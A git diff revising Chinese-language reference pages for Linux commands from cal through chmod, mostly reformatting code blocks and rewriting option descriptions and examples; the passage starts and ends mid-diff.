文件:指定要分屏显示的.bz2压缩包。
-
\ No newline at end of file
diff --git a/command/cal.md b/command/cal.md
index 2346a67f1cf..0a82f254bf6 100644
--- a/command/cal.md
+++ b/command/cal.md
@@ -1,41 +1,49 @@
cal
===
-
+
显示当前日历或指定日期的日历
## 补充说明
-**cal命令** 用于显示当前日历,或者指定日期的日历。
+**cal命令** 用于显示当前日历,或者指定日期的日历,如果没有指定参数,则显示当前月份。
-### 语法
+一个单一的参数指定要显示的年份 (1 - 9999) ; 注意年份必须被完全地指定: cal 89 不会 显示1989年的日历. 两个参数表示月份 (1 - 12) 和年份. 如果没有指定参数,
+则显示当前月份的日历.
-```
-cal(选项)(参数)
-```
+一年从Jan 1 (1 月 1 日) 开始.
-### 选项
+格里高利历法改革(Gregorian Reformation)被认为发生于 1752 年 9 月 3 日. 在此之前, 多数国家已经认可这项改革(尽管有一些直到 20 世纪初才认可它). 那天之后的 10
+天在这项改革被略去了, 所以那个月的日历有点不太寻常.
-```
--l:显示单月输出;
--3:显示临近三个月的日历;
--s:将星期日作为月的第一天;
--m:将星期一作为月的第一天;
--j:显示“julian”日期;
--y:显示当前年的日历。
+### 语法
+
+```shell
+cal [ -mjy ] [ 月份 ] [ 年份 ]
```
-### 参数
+### 选项
+```shell
+-l # 显示单月输出;
+-3 # 显示临近三个月的日历;
+-s # 将星期日作为月的第一天;
+-m # 显示星期一作为一周的第一天.. (缺省为星期日.)
+-j # 显示儒略历的(Julian)日期 (以 1 为基的天数, 从 1 月 1 日开始计数) .
+-y # 显示当前年份的日历..
```
+
+### 参数
+
+```shell
月:指定月份;
年:指定年份。
```
-### 实例
+### 实例
单独执行cal命令会打印出日历:
-```
+```shell
[root@localhost ~]# cal
十二月 2013
日 一 二 三 四 五 六
@@ -46,7 +54,7 @@ cal(选项)(参数)
29 30 31
```
-```
+```shell
[root@localhost ~]# cal -j
十二月 2013
日 一 二 三 四 五 六
@@ -57,16 +65,18 @@ cal(选项)(参数)
363 364 365
```
-```
+```shell
[root@localhost ~]# cal -3
- 十一月 2013 十二月 2013 一月 2014
-日 一 二 三 四 五 六 日 一 二 三 四 五 六 日 一 二 三 四 五 六
- 1 2 1 2 3 4 5 6 7 1 2 3 4
- 3 4 5 6 7 8 9 8 9 10 11 12 13 14 5 6 7 8 9 10 11
-10 11 12 13 14 15 16 15 16 17 18 19 20 21 12 13 14 15 16 17 18
-17 18 19 20 21 22 23 22 23 24 25 26 27 28 19 20 21 22 23 24 25
-24 25 26 27 28 29 30 29 30 31 26 27 28 29 30 31
+
+ 九月 2021 十月 2021 十一月 2021
+日 一 二 三 四 五 六 日 一 二 三 四 五 六 日 一 二 三 四 五 六
+ 1 2 3 4 1 2 1 2 3 4 5 6
+ 5 6 7 8 9 10 11 3 4 5 6 7 8 9 7 8 9 10 11 12 13
+12 13 14 15 16 17 18 10 11 12 13 14 15 16 14 15 16 17 18 19 20
+19 20 21 22 23 24 25 17 18 19 20 21 22 23 21 22 23 24 25 26 27
+26 27 28 29 30 24 25 26 27 28 29 30 28 29 30
+ 31
```
-
\ No newline at end of file
+
diff --git a/command/cancel.md b/command/cancel.md
index ce8c903485e..209999a88f1 100644
--- a/command/cancel.md
+++ b/command/cancel.md
@@ -1,21 +1,21 @@
cancel
===
-
+
取消已存在的打印任务
## 补充说明
**cancel命令** 用于取消已存在的打印任务。
-### 语法
+### 语法
-```
+```shell
cancel(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:取消所有打印任务;
-E:当连接到服务器时强制使用加密;
-U:指定连接服务器时使用的用户名;
@@ -23,9 +23,8 @@ cancel(选项)(参数)
-h:指定连接的服务器名和端口号。
```
-### 参数
+### 参数
打印任务号:指定要取消的打印任务编号。
-
\ No newline at end of file
diff --git a/command/cat.md b/command/cat.md
index 99b18d12cd7..2190c5c04b2 100644
--- a/command/cat.md
+++ b/command/cat.md
@@ -1,44 +1,73 @@
cat
===
-连接文件并打印到标准输出设备上
+连接多个文件并打印到标准输出。
-## 补充说明
+## 概要
-**cat命令** 连接文件并打印到标准输出设备上,cat经常用来显示文件的内容,类似于下的type命令。
+```shell
+cat [OPTION]... [FILE]...
+```
-注意:当文件较大时,文本在屏幕上迅速闪过(滚屏),用户往往看不清所显示的内容。因此,一般用more等命令分屏显示。为了控制滚屏,可以按Ctrl+S键,停止滚屏;按Ctrl+Q键可以恢复滚屏。按Ctrl+C(中断)键可以终止该命令的执行,并且返回Shell提示符状态。
+## 主要用途
-### 语法
+- 显示文件内容,如果没有文件或文件为`-`则读取标准输入。
+- 将多个文件的内容进行连接并打印到标准输出。
+- 显示文件内容中的不可见字符(控制字符、换行符、制表符等)。
-```
-cat(选项)(参数)
-```
+## 参数
-### 选项
+FILE(可选):要处理的文件,可以为一或多个。
-```
--n或--number:从1开始对所有输出的行数编号;
--b或--number-nonblank:和-n相似,只不过对于空白行不编号;
--s或--squeeze-blank:当遇到有连续两行以上的空白行,就代换为一行的空白行;
--A:显示不可打印字符,行尾显示“$”;
--e:等价于"-vE"选项;
--t:等价于"-vT"选项;
-```
+## 选项
-### 参数
+```shell
+长选项与短选项等价
-文件列表:指定要连接的文件列表。
+-A, --show-all 等价于"-vET"组合选项。
+-b, --number-nonblank 只对非空行编号,从1开始编号,覆盖"-n"选项。
+-e 等价于"-vE"组合选项。
+-E, --show-ends 在每行的结尾显示'$'字符。
+-n, --number 对所有行编号,从1开始编号。
+-s, --squeeze-blank 压缩连续的空行到一行。
+-t 等价于"-vT"组合选项。
+-T, --show-tabs 使用"^I"表示TAB(制表符)。
+-u POSIX兼容性选项,无意义。
+-v, --show-nonprinting 使用"^"和"M-"符号显示控制字符,除了LFD(line feed,即换行符'\n')和TAB(制表符)。
-### 实例
+--help 显示帮助信息并退出。
+--version 显示版本信息并退出。
+```
-设m1和m2是当前目录下的两个文件
+## 返回值
+返回状态为成功除非给出了非法选项或非法参数。
+
+## 例子
+
+```shell
+# 合并显示多个文件
+cat ./1.log ./2.log ./3.log
+# 显示文件中的非打印字符、tab、换行符
+cat -A test.log
+# 压缩文件的空行
+cat -s test.log
+# 显示文件并在所有行开头附加行号
+cat -n test.log
+# 显示文件并在所有非空行开头附加行号
+cat -b test.log
+# 将标准输入的内容和文件内容一并显示
+echo '######' |cat - test.log
```
-cat m1 (在屏幕上显示文件m1的内容)
-cat m1 m2 (同时显示文件m1和m2的内容)
-cat m1 m2 > file (将文件m1和m2合并后放入文件file中)
-```
+
+### 注意
+
+1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 cat`或`info coreutils 'cat invocation'`。
+2. 当使用`cat`命令查看**体积较大的文件**时,文本在屏幕上迅速闪过(滚屏),用户往往看不清所显示的内容,为了控制滚屏,可以按`Ctrl+s`键停止滚屏;按`Ctrl+q`键恢复滚屏;按`Ctrl+c`(中断)键可以终止该命令的执行,返回Shell提示符状态。
+3. 建议您查看**体积较大的文件**时使用`less`、`more`命令或`emacs`、`vi`等文本编辑器。
+
+### 参考链接
+
+1. [Question about LFD key](https://superuser.com/questions/328054/is-there-an-lfd-key-on-my-keyboard)
-
diff --git a/command/cd.md b/command/cd.md
index c676dd588ac..0f2255cf632 100644
--- a/command/cd.md
+++ b/command/cd.md
@@ -1,36 +1,91 @@
cd
===
-
-切换用户当前工作目录
-## 补充说明
+切换用户当前工作目录。
-**cd命令** 用来切换工作目录至dirname。 其中dirName表示法可为绝对路径或相对路径。若目录名称省略,则变换至使用者的home directory(也就是刚login时所在的目录)。另外,`~`也表示为home directory的意思,`.`则是表示目前所在的目录,`..`则表示目前目录位置的上一层目录。
-
-### 语法
+## 概要
+```shell
+cd [-L|[-P [-e]]] [dir]
```
-cd (选项) (参数)
+
+## 主要用途
+
+- 切换工作目录至`dir`。其中`dir`的表示法可以是绝对路径或相对路径。
+- 若参数`dir`省略,则默认为使用者的shell变量`HOME`。
+- 如果`dir`指定为`~`时表示为使用者的shell变量`HOME`,`.`表示当前目录,`..`表示当前目录的上一级目录。
+- 环境变量`CDPATH`是由冒号分割的一到多个目录,你可以将常去的目录的上一级加入到`CDPATH`以便方便访问它们;如果`dir`以`/`开头那么`CDPATH`不会被使用。
+- 当`shopt`选项`cdable_vars`打开时,如果`dir`在`CDPATH`及当前目录下均不存在,那么会把它当作变量,读取它的值作为要进入的目录。
+
+## 参数
+
+dir(可选):指定要切换到的目录。
+
+## 选项
+
+```shell
+-L (默认值)如果要切换到的目标目录是一个符号连接,那么切换到符号连接的目录。
+-P 如果要切换到的目标目录是一个符号连接,那么切换到它指向的物理位置目录。
+- 当前工作目录将被切换到环境变量OLDPWD所表示的目录,也就是前一个工作目录。
```
-### 选项
+## 返回值
+
+返回状态为成功除非无法进入指定的目录。
+## 例子
+
+```shell
+cd # 进入用户主目录;
+cd / # 进入根目录
+cd ~ # 进入用户主目录;
+cd .. # 返回上级目录(若当前目录为“/“,则执行完后还在“/";".."为上级目录的意思);
+cd ../.. # 返回上两级目录;
+cd !$ # 把上个命令的参数作为cd参数使用。
```
--p 如果要切换到的目标目录是一个符号连接,直接切换到符号连接指向的目标目录
--L 如果要切换的目标目录是一个符号的连接,直接切换到字符连接名代表的目录,而非符号连接所指向的目标目录。
-- 当仅实用"-"一个选项时,当前工作目录将被切换到环境变量"OLDPWD"所表示的目录。
+
+关于切换到上一个工作目录的说明
+
+```shell
+cd -
+# 命令会首先显示要切换到的目标目录,然后再进入。
+cd ${OLDPWD}
+# 命令会直接切换到上一个工作目录。
```
-### 实例
+关于`CDPATH`
+```shell
+# 设置桌面文件夹作为CDPATH的值。
+CDPATH='~/Desktop'
+# 假设我们接下来要演示涉及到的路径~和~/Desktop下没有test3文件夹,现在新建它们。
+mkdir ~/test3
+mkdir ~/Desktop/test3
+# 进入~目录。
+cd ~
+# 进入test3目录。
+cd test3
+# 执行后显示~/Desktop/test3并进入该目录,而不是~目录的test3目录。
+# 如果CDPATH存在值,那么优先在CDPATH中查找并进入第一个匹配成功的,如果全部失败那么最后尝试当前目录。
```
-cd 进入用户主目录;
-cd ~ 进入用户主目录;
-cd - 返回进入此目录之前所在的目录;
-cd .. 返回上级目录(若当前目录为“/“,则执行完后还在“/";".."为上级目录的意思);
-cd ../.. 返回上两级目录;
-cd !$ 把上个命令的参数作为cd参数使用。
+
+关于`cdable_vars`
+
+```shell
+# 打开选项。
+shopt -s cdable_vars
+# 假设当前路径以及CDPATH没有名为new_var的目录。
+new_var='~/Desktop'
+# 尝试进入。
+cd new_var
+# 关闭选项。
+shopt -u cdable_vars
```
+### 注意
+
+1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
+2. 建议您在编写脚本的过程中如有必要使用`cd`命令时,请增加必要的注释以用于提醒阅读者当前工作目录,以免出现诸如`找不到文件`这类问题的发生。
+
-
\ No newline at end of file
diff --git a/command/cdrecord.md b/command/cdrecord.md
index ec602f5a56e..49d7c0b9ff0 100644
--- a/command/cdrecord.md
+++ b/command/cdrecord.md
@@ -1,21 +1,21 @@
cdrecord
===
-
+
Linux系统下光盘刻录功能命令
## 补充说明
**cdrecord命令** 用于Linux系统下光盘刻录,它支持cd和DVD格式。linux下一般都带有cdrecord软件。
-### 语法
+### 语法
-```
+```shell
cdrecord(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-v:显示刻录光盘的详细过程;
-eject:刻录完成后弹出光盘;
speed=<刻录倍速>:指定光盘刻录的倍速;
@@ -23,15 +23,15 @@ dev=<刻录机设备号>:指定使用“-scanbus”参数扫描到的刻录机
-scanbus:扫描系统中可用的刻录机。
```
-### 参数
+### 参数
ISO文件:指定刻录光盘使用的ISO映像文件。
-### 实例
+### 实例
查看系统所有 CD-R(w) 设备:
-```
+```shell
cdrecord -scanbus
scsibus0:
0,0,0 0) *
@@ -42,21 +42,20 @@ scsibus0:
用iso文件刻录一张光盘:
-```
+```shell
cdrecord -v -eject speed=4 dev=0,3,0 backup.iso
```
参数解释
-* -v:显示刻录光盘的详细过程
-* -eject:刻完自动弹出光盘
-* speed=4 dev=0,3,0:四速刻录到HP CD-writer设备上。
+* -v:显示刻录光盘的详细过程
+* -eject:刻完自动弹出光盘
+* speed=4 dev=0,3,0:四速刻录到HP CD-writer设备上。
擦写光驱:
-```
+```shell
cdrecord --dev=0,3,0 --blank=fast
```
-
\ No newline at end of file
diff --git a/command/chage.md b/command/chage.md
index 0f481152178..ab6eaa67fbd 100644
--- a/command/chage.md
+++ b/command/chage.md
@@ -1,35 +1,35 @@
chage
===
-
+
修改帐号和密码的有效期限
## 补充说明
**chage命令** 是用来修改帐号和密码的有效期限。
-### 语法
+### 语法
-```
+```shell
chage [选项] 用户名
```
-### 选项
+### 选项
-```
+```shell
-m:密码可更改的最小天数。为零时代表任何时候都可以更改密码。
-M:密码保持有效的最大天数。
-w:用户密码到期前,提前收到警告信息的天数。
-E:帐号到期的日期。过了这天,此帐号将不可用。
-d:上一次更改的日期。
--i:停滞时期。如果一个密码已过期这些天,那么此帐号将不可用。
+-I:停滞时期。如果一个密码已过期这些天,那么此帐号将不可用。
-l:例出当前的设置。由非特权用户来确定他们的密码或帐号何时过期。
```
-### 实例
+### 实例
可以编辑`/etc/login.defs`来设定几个参数,以后设置口令默认就按照参数设定为准:
-```
+```shell
PASS_MAX_DAYS 99999
PASS_MIN_DAYS 0
PASS_MIN_LEN 5
@@ -38,7 +38,7 @@ PASS_WARN_AGE 7
当然在`/etc/default/useradd`可以找到如下2个参数进行设置:
-```
+```shell
# useradd defaults file
GROUP=100
HOME=/home
@@ -53,46 +53,48 @@ CREATE_MAIL_SPOOL=yes
我的服务器root帐户密码策略信息如下:
-```
-[root@linuxde ~]# chage -l root
-最近一次密码修改时间 : 3月 12, 2013
-密码过期时间 :从不
-密码失效时间 :从不
-帐户过期时间 :从不
+```shell
+chage -l root
+
+最近一次密码修改时间 : 3月 12, 2013
+密码过期时间 :从不
+密码失效时间 :从不
+帐户过期时间 :从不
两次改变密码之间相距的最小天数 :0
两次改变密码之间相距的最大天数 :99999
-在密码过期之前警告的天数 :7
+在密码过期之前警告的天数 :7
```
我可以通过如下命令修改我的密码过期时间:
-```
-[root@linuxde ~]# chage -M 60 root
-[root@linuxde ~]# chage -l root
-最近一次密码修改时间 : 3月 12, 2013
-密码过期时间 : 5月 11, 2013
-密码失效时间 :从不
-帐户过期时间 :从不
+```shell
+chage -M 60 root
+chage -l root
+
+最近一次密码修改时间 : 3月 12, 2013
+密码过期时间 : 5月 11, 2013
+密码失效时间 :从不
+帐户过期时间 :从不
两次改变密码之间相距的最小天数 :0
两次改变密码之间相距的最大天数 :60
-在密码过期之前警告的天数 :9
+在密码过期之前警告的天数 :9
```
然后通过如下命令设置密码失效时间:
-```
-[root@linuxde ~]# chage -I 5 root
-[root@linuxde ~]# chage -l root
-最近一次密码修改时间 : 3月 12, 2013
-密码过期时间 : 5月 11, 2013
-密码失效时间 : 5月 16, 2013
-帐户过期时间 :从不
+```shell
+chage -I 5 root
+chage -l root
+
+最近一次密码修改时间 : 3月 12, 2013
+密码过期时间 : 5月 11, 2013
+密码失效时间 : 5月 16, 2013
+帐户过期时间 :从不
两次改变密码之间相距的最小天数 :0
两次改变密码之间相距的最大天数 :60
-在密码过期之前警告的天数 :9
+在密码过期之前警告的天数 :9
```
从上述命令可以看到,在密码过期后5天,密码自动失效,这个用户将无法登陆系统了。
-
\ No newline at end of file
diff --git a/command/chattr.md b/command/chattr.md
index fb1968b1d54..698811f1800 100644
--- a/command/chattr.md
+++ b/command/chattr.md
@@ -1,13 +1,21 @@
chattr
===
-
+
用来改变文件属性
## 补充说明
**chattr命令** 用来改变文件属性。这项指令可改变存放在ext2文件系统上的文件或目录属性,这些属性共有以下8种模式:
+### 语法
+
+```shell
+chattr(选项)
```
+
+### 选项
+
+```shell
a:让文件或目录仅供附加用途;
b:不更新文件或目录的最后存取时间;
c:将文件或目录压缩后存放;
@@ -18,15 +26,7 @@ S:即时更新文件或目录;
u:预防意外删除。
```
-### 语法
-
-```
-chattr(选项)
-```
-
-### 选项
-
-```
+```shell
-R:递归处理,将指令目录下的所有文件及子目录一并处理;
-v<版本编号>:设置文件或目录版本;
-V:显示指令执行过程;
@@ -35,11 +35,11 @@ chattr(选项)
=<属性>:指定文件或目录的该项属性。
```
-### 实例
+### 实例
用chattr命令防止系统中某个关键文件被修改:
-```
+```shell
chattr +i /etc/fstab
```
@@ -47,9 +47,8 @@ chattr +i /etc/fstab
让某个文件只能往里面追加内容,不能删除,一些日志文件适用于这种操作:
-```
+```shell
chattr +a /data1/user_act.log
```
-
\ No newline at end of file
diff --git a/command/chcon.md b/command/chcon.md
index 33d22b5007b..7efb5aaf3c8 100644
--- a/command/chcon.md
+++ b/command/chcon.md
@@ -1,23 +1,23 @@
chcon
===
-
+
修改对象(文件)的安全上下文
## 补充说明
**chcon命令** 是修改对象(文件)的安全上下文,比如:用户、角色、类型、安全级别。也就是将每个文件的安全环境变更至指定环境。使用`--reference`选项时,把指定文件的安全环境设置为与参考文件相同。chcon命令位于`/usr/bin/chcon`。
-### 语法
+### 语法
-```
+```shell
chcon [选项]... 环境 文件...
chcon [选项]... [-u 用户] [-r 角色] [-l 范围] [-t 类型] 文件...
chcon [选项]... --reference=参考文件 文件...
```
-### 选项
+### 选项
-```
+```shell
-h, --no-dereference:影响符号连接而非引用的文件。
--reference=参考文件:使用指定参考文件的安全环境,而非指定值。
-R, --recursive:递归处理所有的文件及子目录。
@@ -30,7 +30,7 @@ chcon [选项]... --reference=参考文件 文件...
以下选项是在指定了`-R`选项时被用于设置如何穿越目录结构体系。如果您指定了多于一个选项,那么只有最后一个会生效。
-```
+```shell
-H:如果命令行参数是一个通到目录的符号链接,则遍历符号链接。
-L:遍历每一个遇到的通到目录的符号链接。
-P:不遍历任何符号链接(默认)。
@@ -38,38 +38,37 @@ chcon [选项]... --reference=参考文件 文件...
--version:显示版本信息并退出。
```
-### 实例
+### 实例
如果你想把这个ftp共享给匿名用户的话,需要开启以下:
-```
+```shell
chcon -R -t public_content_t /var/ftp
```
如果你想让你设置的FTP目录可以上传文件的话,SELINUX需要设置:
-```
+```shell
chcon -t public_content_rw_t /var/ftp/incoming
```
允许用户HHTP访问其家目录,该设定限仅于用户的家目录主页:
-```
+```shell
setsebool -P httpd_enable_homedirs 1
chcon -R -t httpd_sys_content_t ~user/public_html
```
如果你希望将samba目录共享给其他用户,你需要设置:
-```
+```shell
chcon -t samba_share_t /directory
```
共享rsync目录时:
-```
+```shell
chcon -t public_content_t /directories
```
-
\ No newline at end of file
diff --git a/command/chfn.md b/command/chfn.md
index 855937667c2..056b18fbe90 100644
--- a/command/chfn.md
+++ b/command/chfn.md
@@ -1,21 +1,21 @@
chfn
===
-
+
用来改变finger命令显示的信息
## 补充说明
**chfn命令** 用来改变finger命令显示的信息。这些信息都存放在/etc目录里的passwd文件里。若不指定任何选项,则chfn命令会进入问答式界面。
-### 语法
+### 语法
-```
+```shell
chfn(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-f<真实姓名>或--full-name<真实姓名>:设置真实姓名;
-h<家中电话>或--home-phone<家中电话>:设置家中的电话号码;
-o<办公地址>或--office<办公地址>:设置办公室的地址;
@@ -24,15 +24,15 @@ chfn(选项)(参数)
-v或-version:显示版本信息。
```
-### 参数
+### 参数
用户名:指定要改变finger信息的用户名。
-### 实例
+### 实例
范例1,改变finger信息:
-```
+```shell
[root@localhost Desktop]# chfn
Changing finger information for root.
Name [root]: jack
@@ -45,7 +45,7 @@ Finger information changed.
范例2,改变账号真实姓名:
-```
+```shell
[root@localhost Desktop]# chfn -f jack
Changing finger information for root.
Finger information changed.
@@ -53,7 +53,7 @@ Finger information changed.
范例3:
-```
+```shell
shell>> chfn
Changing finger information for user
Password: [del]
@@ -64,4 +64,3 @@ Home Phone[]: [del]
```
-
\ No newline at end of file
diff --git a/command/chgrp.md b/command/chgrp.md
index b5919fc109b..5b3cdd720e4 100644
--- a/command/chgrp.md
+++ b/command/chgrp.md
@@ -9,15 +9,15 @@ chgrp
在UNIX系统家族里,文件或目录权限的掌控以拥有者及所属群组来管理。您可以使用chgrp指令去变更文件与目录的所属群组,设置方式采用群组名称或群组识别码皆可。
-### 语法
+### 语法
-```
+```shell
chgrp [选项][组群][文件|目录]
```
-### 选项
+### 选项
-```
+```shell
-R 递归式地改变指定目录及其下的所有子目录和文件的所属的组
-c或——changes:效果类似“-v”参数,但仅回报更改的部分;
-f或--quiet或——silent:不显示错误信息;
@@ -30,23 +30,24 @@ chgrp [选项][组群][文件|目录]
--reference=<参考文件或目录>:把指定文件或目录的所属群组全部设成和参考文件或目录的所属群组相同;
```
-### 参数
+### 参数
* 组:指定新工作名称;
* 文件:指定要改变所属组的文件列表。多个文件或者目录之间使用空格隔开。
-### 实例
+### 实例
将`/usr/meng`及其子目录下的所有文件的用户组改为mengxin
-```
+```shell
chgrp -R mengxin /usr/meng
```
-更改文件ah的组群所有者为newuser
-```
+更改文件ah的组群所有者为 `newuser`
+
+```shell
[root@rhel ~]# chgrp newuser ah
```
-
+
diff --git a/command/chkconfig.md b/command/chkconfig.md
index 439e1d088db..8d75dbeb2bb 100644
--- a/command/chkconfig.md
+++ b/command/chkconfig.md
@@ -7,15 +7,15 @@ chkconfig
**chkconfig命令** 检查、设置系统的各种服务。这是Red Hat公司遵循GPL规则所开发的程序,它可查询操作系统在每一个执行等级中会执行哪些系统服务,其中包括各类常驻服务。谨记chkconfig不是立即自动禁止或激活一个服务,它只是简单的改变了符号连接。
-### 语法
+### 语法
-```bash
+```shell
chkconfig(选项)
```
-### 选项
+### 选项
-```bash
+```shell
--add:增加所指定的系统服务,让chkconfig指令得以管理它,并同时在系统启动的叙述文件内增加相关数据;
--del:删除所指定的系统服务,不再由chkconfig指令管理,并同时在系统启动的叙述文件内删除相关数据;
--level<等级代号>:指定读系统服务要在哪一个执行等级中开启或关毕。
@@ -48,15 +48,15 @@ chkconfig(选项)
例如random.init包含三行:
-```bash
+```shell
# chkconfig: 2345 20 80
# description: Saves and restores system entropy pool for \
# higher quality random number generation.
```
-### 实例
+### 实例
-```bash
+```shell
chkconfig --list #列出所有的系统服务。
chkconfig --add httpd #增加httpd服务。
chkconfig --del httpd #删除httpd服务。
@@ -76,4 +76,4 @@ chkconfig –level redis 2345 on # 把redis在运行级别为2、3、4、5的情
3. `chkconfig --level 35 mysqld on`修改服务的默认启动等级。
-
+
diff --git a/command/chmod.md b/command/chmod.md
index ff9a5938e37..0cdc60c051d 100644
--- a/command/chmod.md
+++ b/command/chmod.md
@@ -3,114 +3,99 @@ chmod
用来变更文件或目录的权限
-## 补充说明
-
-**chmod命令** 用来变更文件或目录的权限。在UNIX系统家族里,文件或目录权限的控制分别以读取、写入、执行3种一般权限来区分,另有3种特殊权限可供运用。用户可以使用chmod指令去变更文件与目录的权限,设置方式采用文字或数字代号皆可。符号连接的权限无法变更,如果用户对符号连接修改权限,其改变会作用在被连接的原始文件。
-
-权限范围的表示法如下:
-
-`u` User,即文件或目录的拥有者;
-`g` Group,即文件或目录的所属群组;
-`o` Other,除了文件或目录拥有者或所属群组之外,其他用户皆属于这个范围;
-`a` All,即全部的用户,包含拥有者,所属群组以及其他用户;
-`r` 读取权限,数字代号为“4”;
-`w` 写入权限,数字代号为“2”;
-`x` 执行或切换权限,数字代号为“1”;
-`-` 不具任何权限,数字代号为“0”;
-`s` 特殊功能说明:变更文件或目录的权限。
-
-### 语法
+## 概要
-```
-chmod(选项)(参数)
+```shell
+chmod [OPTION]... MODE[,MODE]... FILE...
+chmod [OPTION]... OCTAL-MODE FILE...
+chmod [OPTION]... --reference=RFILE FILE...
```
-### 选项
-
-```bash
-u # 操作对象简称,用户user,文件或目录的所有者。
-g # 操作对象简称,同组用户group,文件或目录所属群组
-o # 操作对象简称,其它用户others
-a # 操作对象简称,所有用户all,系统默认使用此项
-+ # 权限操作符,添加某些权限
-- # 权限操作符,取消某些权限
-= # 权限操作符,设置文件的权限为给定的权限
-r # 权限设定(英文),表示可读权限
-w # 权限设定(英文),表示可写权限
-x # 权限设定(英文),表示可执行权限
-- # 权限设定(英文字符),表示没有权限
-X # 权限设定,如果目标文件是可执行文件或目录,可给其设置可执行权限
-s # 权限设定,设置权限suid和sgid,使用权限组合“u+s”设定文件的用户的ID位,“g+s”设置组ID位
-t # 权限设定,只有目录或文件的所有者才可以删除目录下的文件
--c或——changes # 效果类似“-v”参数,但仅回报更改的部分,如果文件权限已经改变,显示其操作信息;
--f或--quiet或——silent # 操作过程中不显示任何错误信息;
--R或——recursive # 递归处理,将指令目录下的所有文件及子目录一并处理;
--v或——verbose # 显示命令运行时的详细执行过程;
---reference=<参考文件或目录> # 把指定文件或目录的所属群组全部设成和参考文件或目录的所属群组相同;
-<权限范围>+<权限设置> # 开启权限范围的文件或目录的该选项权限设置;
-<权限范围>-<权限设置> # 关闭权限范围的文件或目录的该选项权限设置;
-<权限范围>=<权限设置> # 指定权限范围的文件或目录的该选项权限设置;
---help # 显示帮助信息
---version # 显示版本信息
-```
+## 主要用途
-### 参数
+- 通过符号组合的方式更改目标文件或目录的权限。
+- 通过八进制数的方式更改目标文件或目录的权限。
+- 通过参考文件的权限来更改目标文件或目录的权限。
-权限模式:指定文件的权限模式;
-文件:要改变权限的文件。
+## 参数
-### 知识扩展和实例
+mode:八进制数或符号组合。
-Linux用 户分为:拥有者、组群(Group)、其他(other),Linux系统中,预设的情況下,系统中所有的帐号与一般身份使用者,以及root的相关信 息, 都是记录在`/etc/passwd`文件中。每个人的密码则是记录在`/etc/shadow`文件下。 此外,所有的组群名称记录在`/etc/group`內!
+file:指定要更改权限的一到多个文件。
-linux文件的用户权限的分析图
+## 选项
-```bash
- -rw-r--r-- 1 user staff 651 Oct 12 12:53 .gitmodules
-# ↑╰┬╯╰┬╯╰┬╯
-# ┆ ┆ ┆ ╰┈ 0 其他人
-# ┆ ┆ ╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈ g 属组
-# ┆ ╰┈┈┈┈ u 属组
-# ╰┈┈ 第一个字母 `d` 代表目录,`-` 代表普通文件
+```shell
+-c, --changes:当文件的权限更改时输出操作信息。
+--no-preserve-root:不将'/'特殊化处理,默认选项。
+--preserve-root:不能在根目录下递归操作。
+-f, --silent, --quiet:抑制多数错误消息的输出。
+-v, --verbose:无论文件是否更改了权限,一律输出操作信息。
+--reference=RFILE:使用参考文件或参考目录RFILE的权限来设置目标文件或目录的权限。
+-R, --recursive:对目录以及目录下的文件递归执行更改权限操作。
+--help:显示帮助信息并退出。
+--version:显示版本信息并退出。
```
-例:rwx rw- r--
+## 返回值
-r=读取属性 //值=4
-w=写入属性 //值=2
-x=执行属性 //值=1
+返回状态为成功除非给出了非法选项或非法参数。
-```bash
-chmod u+x,g+w f01 # 为文件f01设置自己可以执行,组员可以写入的权限
-chmod u=rwx,g=rw,o=r f01
-chmod 764 f01
-chmod a+x f01 # 对文件f01的u,g,o都设置可执行属性
-```
-
-文件的属主和属组属性设置
+## 例子
-```bash
-chown user:market f01 # 把文件f01给uesr,添加到market组
-ll -d f1 查看目录f1的属性
-```
+> 参考`man chmod`文档的`DESCRIPTION`段落得知:
+> - `u`符号代表当前用户。
+> - `g`符号代表和当前用户在同一个组的用户,以下简称组用户。
+> - `o`符号代表其他用户。
+> - `a`符号代表所有用户。
+> - `r`符号代表读权限以及八进制数`4`。
+> - `w`符号代表写权限以及八进制数`2`。
+> - `x`符号代表执行权限以及八进制数`1`。
+> - `X`符号代表如果目标文件是可执行文件或目录,可给其设置可执行权限。
+> - `s`符号代表设置权限suid和sgid,使用权限组合`u+s`设定文件的用户的ID位,`g+s`设置组用户ID位。
+> - `t`符号代表只有目录或文件的所有者才可以删除目录下的文件。
+> - `+`符号代表添加目标用户相应的权限。
+> - `-`符号代表删除目标用户相应的权限。
+> - `=`符号代表添加目标用户相应的权限,删除未提到的权限。
+```shell
+linux文件的用户权限说明:
-将`/home/wwwroot/`里的所有文件和文件夹设置为`755`权限
+# 查看当前目录(包含隐藏文件)的长格式。
+ls -la
+ -rw-r--r-- 1 user staff 651 Oct 12 12:53 .gitmodules
-(1)直接指定路径修改
+# 第1位如果是d则代表目录,是-则代表普通文件。
+# 更多详情请参阅info coreutils 'ls invocation'(ls命令的info文档)的'-l'选项部分。
+# 第2到4位代表当前用户的权限。
+# 第5到7位代表组用户的权限。
+# 第8到10位代表其他用户的权限。
+```
-```bash
-chmod -R 755 /home/wwwroot/*
+```shell
+# 添加组用户的写权限。
+chmod g+w ./test.log
+# 删除其他用户的所有权限。
+chmod o= ./test.log
+# 使得所有用户都没有写权限。
+chmod a-w ./test.log
+# 当前用户具有所有权限,组用户有读写权限,其他用户只有读权限。
+chmod u=rwx, g=rw, o=r ./test.log
+# 等价的八进制数表示:
+chmod 764 ./test.log
+# 将目录以及目录下的文件都设置为所有用户拥有读写权限。
+# 注意,使用'-R'选项一定要保留当前用户的执行和读取权限,否则会报错!
+chmod -R a=rw ./testdir/
+# 根据其他文件的权限设置文件权限。
+chmod --reference=./1.log ./test.log
```
-(2)手动进入该目录修改权限(并显示详细过程)
+### 注意
+1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man chmod`或`info coreutils 'chmod invocation'`。
-```bash
-cd /home/wwwroot
-chmod -Rv 755 * #注意:“*”表示通配符,指的是所有文件和文件
-sudo chmod o+rw /shared #设置文件夹权限以保证其余用户可以访问它。
-```
+2. 符号连接的权限无法变更,如果用户对符号连接修改权限,其改变会作用在被连接的原始文件。
+
+3. 使用`-R`选项一定要保留当前用户的执行和读取权限,否则会报错!
-
diff --git a/command/chown.md b/command/chown.md
index 3c681dd147d..221f9f6ae36 100644
--- a/command/chown.md
+++ b/command/chown.md
@@ -1,23 +1,23 @@
chown
